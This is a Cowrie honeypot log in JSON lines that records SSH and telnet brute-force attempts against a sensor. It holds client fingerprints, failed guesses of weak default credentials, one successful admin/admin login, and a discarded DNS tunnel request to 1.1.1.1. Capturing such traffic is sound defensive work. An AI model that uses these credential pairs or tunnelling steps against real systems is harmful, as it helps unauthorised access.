{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:51:27.450944Z","src_ip":"112.151.178.49","session":"5fe6f6f33a5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin321321","message":"login attempt [root/admin321321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:51:28.309045Z","src_ip":"112.151.178.49","session":"5fe6f6f33a5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:51:29.517746Z","src_ip":"112.151.178.49","session":"5fe6f6f33a5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":48770,"dst_ip":"10.17.0.5","dst_port":23,"session":"0db9f2dc0ed5","protocol":"telnet","message":"New connection: 137.184.155.248:48770 (10.17.0.5:23) [session: 0db9f2dc0ed5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:51:35.764980Z"}
{"eventid":"cowrie.session.closed","duration":44.253796339035034,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:51:39.647565Z","src_ip":"137.184.155.248","session":"439f7e621095","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.22623538970947,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:51:42.169004Z","src_ip":"137.184.155.248","session":"78de7010edf1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.215482234954834,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:51:42.513036Z","src_ip":"137.184.155.248","session":"b8deb47cc753","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":40234,"dst_ip":"159.203.135.109","dst_port":23,"session":"19c8cc7d6d2e","protocol":"telnet","message":"New connection: 185.26.126.47:40234 (159.203.135.109:23) [session: 19c8cc7d6d2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:51:51.669937Z"}
{"eventid":"cowrie.session.closed","duration":49.09358048439026,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:51:54.394734Z","src_ip":"137.184.155.248","session":"1ad14d0fcc17","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.46351099014282,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:51:58.714474Z","src_ip":"137.184.155.248","session":"844124e902a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.689531326293945,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:52:01.359349Z","src_ip":"185.26.126.47","session":"19c8cc7d6d2e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.56619071960449,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:52:05.353872Z","src_ip":"137.184.155.248","session":"b922e609cb10","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.232","src_port":35392,"dst_ip":"10.17.0.5","dst_port":22,"session":"6cfb923c2307","protocol":"ssh","message":"New connection: 190.244.39.232:35392 (10.17.0.5:22) [session: 6cfb923c2307]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:52:12.380504Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:52:12.385984Z","src_ip":"190.244.39.232","session":"6cfb923c2307","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:52:12.580058Z","src_ip":"190.244.39.232","session":"6cfb923c2307","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"@admin@123","message":"login attempt [root/@admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:52:13.383083Z","src_ip":"190.244.39.232","session":"6cfb923c2307","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":8782,"dst_ip":"10.17.0.5","dst_port":22,"session":"c49fa0a421dc","protocol":"ssh","message":"New connection: 87.251.64.176:8782 (10.17.0.5:22) [session: c49fa0a421dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:52:14.062304Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:52:14.067470Z","src_ip":"87.251.64.176","session":"c49fa0a421dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:52:14.164653Z","src_ip":"87.251.64.176","session":"c49fa0a421dc","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:52:14.456598Z","src_ip":"87.251.64.176","session":"c49fa0a421dc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:52:14.556052Z","session":"c49fa0a421dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:52:14.587125Z","src_ip":"190.244.39.232","session":"6cfb923c2307","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:52:14.654771Z","src_ip":"87.251.64.176","session":"c49fa0a421dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:52:14.755273Z","src_ip":"87.251.64.176","session":"c49fa0a421dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.0003616809845,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:52:20.765232Z","src_ip":"137.184.155.248","session":"0db9f2dc0ed5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"112.151.178.49","src_port":21766,"dst_ip":"10.17.0.5","dst_port":22,"session":"31aa30304d69","protocol":"ssh","message":"New connection: 112.151.178.49:21766 (10.17.0.5:22) [session: 31aa30304d69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:52:24.287778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:52:24.293283Z","src_ip":"112.151.178.49","session":"31aa30304d69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:52:24.499770Z","src_ip":"112.151.178.49","session":"31aa30304d69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"admin123","message":"login attempt [ftpuser/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:52:25.353576Z","src_ip":"112.151.178.49","session":"31aa30304d69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"58.186.20.101","src_port":38362,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6757cf87dfd","protocol":"ssh","message":"New connection: 58.186.20.101:38362 (10.17.0.5:22) [session: a6757cf87dfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:52:25.501409Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:52:25.508016Z","src_ip":"58.186.20.101","session":"a6757cf87dfd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:52:25.765873Z","src_ip":"58.186.20.101","session":"a6757cf87dfd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:52:26.563110Z","src_ip":"112.151.178.49","session":"31aa30304d69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"1q2w3e4r","message":"login attempt [odoo/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:52:26.834811Z","src_ip":"58.186.20.101","session":"a6757cf87dfd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:52:28.097075Z","src_ip":"58.186.20.101","session":"a6757cf87dfd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":42668,"dst_ip":"10.17.0.5","dst_port":23,"session":"c599692f12db","protocol":"telnet","message":"New connection: 137.184.155.248:42668 (10.17.0.5:23) [session: c599692f12db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:52:45.342546Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":42682,"dst_ip":"10.17.0.5","dst_port":23,"session":"c029fe946d57","protocol":"telnet","message":"New connection: 137.184.155.248:42682 (10.17.0.5:23) [session: c029fe946d57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:52:48.128238Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":42686,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e9c3ebac543","protocol":"telnet","message":"New connection: 137.184.155.248:42686 (10.17.0.5:23) [session: 5e9c3ebac543]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:52:49.320016Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":42694,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a15df1b9e09","protocol":"telnet","message":"New connection: 137.184.155.248:42694 (10.17.0.5:23) [session: 3a15df1b9e09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:52:51.788425Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":37878,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d7c650978b6","protocol":"telnet","message":"New connection: 137.184.155.248:37878 (10.17.0.5:23) [session: 1d7c650978b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:52:55.152907Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":37884,"dst_ip":"10.17.0.5","dst_port":23,"session":"3cf0fc32c8cb","protocol":"telnet","message":"New connection: 137.184.155.248:37884 (10.17.0.5:23) [session: 3cf0fc32c8cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:52:55.299402Z"}
{"eventid":"cowrie.session.closed","duration":120.00202965736389,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:53:00.944590Z","src_ip":"189.219.54.254","session":"0d59a95b64c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"189.219.54.254","src_port":54788,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ead0adf1432","protocol":"telnet","message":"New connection: 189.219.54.254:54788 (10.17.0.5:23) [session: 2ead0adf1432]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:53:01.191194Z"}
{"eventid":"cowrie.session.closed","duration":120.00134682655334,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:53:01.303576Z","src_ip":"189.219.54.254","session":"1dedb0b04bc8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"189.219.54.254","src_port":54794,"dst_ip":"10.17.0.5","dst_port":23,"session":"5db2aedae6e9","protocol":"telnet","message":"New connection: 189.219.54.254:54794 (10.17.0.5:23) [session: 5db2aedae6e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:53:01.447628Z"}
{"eventid":"cowrie.session.closed","duration":120.00098514556885,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:53:02.121447Z","src_ip":"189.219.54.254","session":"09a317cfaf87","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"189.219.54.254","src_port":54810,"dst_ip":"10.17.0.5","dst_port":23,"session":"8457c3b1927c","protocol":"telnet","message":"New connection: 189.219.54.254:54810 (10.17.0.5:23) [session: 8457c3b1927c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:53:02.315064Z"}
{"eventid":"cowrie.session.connect","src_ip":"115.151.72.155","src_port":52833,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e9298cc38a4","protocol":"ssh","message":"New connection: 115.151.72.155:52833 (10.17.0.5:22) [session: 0e9298cc38a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:53:03.161249Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:53:03.170837Z","src_ip":"115.151.72.155","session":"0e9298cc38a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:53:03.426585Z","src_ip":"115.151.72.155","session":"0e9298cc38a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.219.54.254","src_port":33644,"dst_ip":"10.17.0.5","dst_port":23,"session":"76d330c59616","protocol":"telnet","message":"New connection: 189.219.54.254:33644 (10.17.0.5:23) [session: 76d330c59616]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:53:03.889101Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":38514,"dst_ip":"10.17.0.5","dst_port":23,"session":"61073ebc24d5","protocol":"telnet","message":"New connection: 137.184.155.248:38514 (10.17.0.5:23) [session: 61073ebc24d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:53:03.893387Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwert12345","message":"login attempt [ubuntu/qwert12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:53:04.469609Z","src_ip":"115.151.72.155","session":"0e9298cc38a4","protocol":"ssh"}
